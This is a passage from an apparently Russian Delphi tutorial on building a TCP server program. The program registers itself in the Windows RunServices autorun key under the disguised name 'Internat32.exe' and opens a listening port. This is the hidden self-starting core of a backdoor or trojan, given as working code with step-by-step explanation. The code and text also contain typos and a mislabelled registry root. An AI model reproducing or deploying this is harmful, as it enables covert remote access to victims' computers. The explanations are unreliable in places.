Процесс загрузки приложения

Необходимо запустить Delphi и создать новый проект (File/New Application).

Затем следует выбрать пункт Options меню Project. Появится окно, показанное на рисунке 203.

Здесь необходимо перенести Form из раздела Auto-Create forms (список слева) в Available forms (список справа).

Посредством этого произойдет отключите Form1 из списка автоинициализируемых форм.

Рисунок 203 – Отключите Form1

из списка автоинициализируемых форм

На странице Application этого же диалогового окна находится кнопка Load Icon. Ее, следует нажать, чтобы сменить значок будущей программы. Если значок не сменить, то будет использоваться стандартный значок Delphi.

Теперь необходимо перенести на форму компонент ServerSocket с закладки Internet (рисунок 204), это сервер на основе протокола TCP.

Рисунок 204 – Компонент ServerSocket

Затем необходимо выделить созданный компонент ServerSocket и перейдите в окно Object Inspector (Инспектор объектов).

Здесь необходимо установить свойство Port. По умолчанию значение этого свойства равно 1024[30], однако его можно поменять на любое другое значение (желательно, больше 1000). Если программа не будет работать, данное значение следует изменить на другое, так как не все числа могут быть номерами портов, однако большая их часть от 1024 до 65000 работает безотказно.

Чтобы активизировать свойства формы, необходимо щелкнуть в любом ее месте.

Затем необходимо перейти в окно Инспектор объектов и щелкнуть на закладке Events. Затем необходимо дважды щелкнуть в строке Oncreate, и Delphi создаст процедуру-обработчик события, которая будет выполняться при инициализации формы.

В указанной процедуре необходимо написать следующий код:

procedure TForml.FormCreate(Sender: TObject);

var Regini:TRegIniFile;

begin

Regini:=TRegIniFile.Create('Software');

Regini.RootKey:=HKEY_LOCAL_MACHINE;

Regini.OpenKey('Software', true);

Regini.OpenKey('Microsoft', true);

Regini.OpenKey('Windows', true);

Regini.OpenKey('CurrentVersion',true);

Regini.WriteString('RunServices’,'Internat32.exe',

Application.ExeName);

Regini.Free;

ServerSocket1.Active:=true;

end.

Теперь необходимо перейти в начало кода и написать после слова uses слово registry. Это необходимо для того, чтобы добавить к проекту модуль работы с реестром, иначе Delphi выдаст ошибки при компиляции. Раздел uses должен выглядеть так: uses registry, Windows, Messages…

В выше представленной процедуре написано следующее:

var Regini:TRegIniFileт – объявление переменной Reglni типа TReginiFiie. С помощью этой переменной происходит общение с реестром.

Regini:=TRegIniFile.Create('Software') – инициализация переменной, указывающей на реестр.

Regini.RootKey: =HKEY_LOCAL_MACHINE – указание необходимого раздела HKEY_CURRENT_USER реестра.

Regini.OpenKey('Software', true) – открытие подраздела Software. Дальше последовательно открываются подразделы, проникая вглубь реестра.

Regini.WriteString(‘RunServices', 'Internat32.exe', Application.ExeName) – запись в раздел RunServices (в этом разделе хранятся программы, которые автоматически загружаются при старте Windows) нового параметра с именем Internat32.exe (имя будущего файла) и значением Application.ExeName (здесь хранится полный путь к запущенному серверу).

Regini. Free – уничтожение больше ненужного объекта Regini.

Все это необходимо для того, чтобы при запуске программы она сама себя прописывала в разделе автозапуска. Теперь после перезагрузки компьютера программа автоматически будет загружаться в память.

Самая последняя строка serverSocketi.Active:=true запускает сервер и открывает указанный порт в ожидании соединения.

Выше был описан процесс загрузки приложения.

Не нашли, что искали? Воспользуйтесь поиском: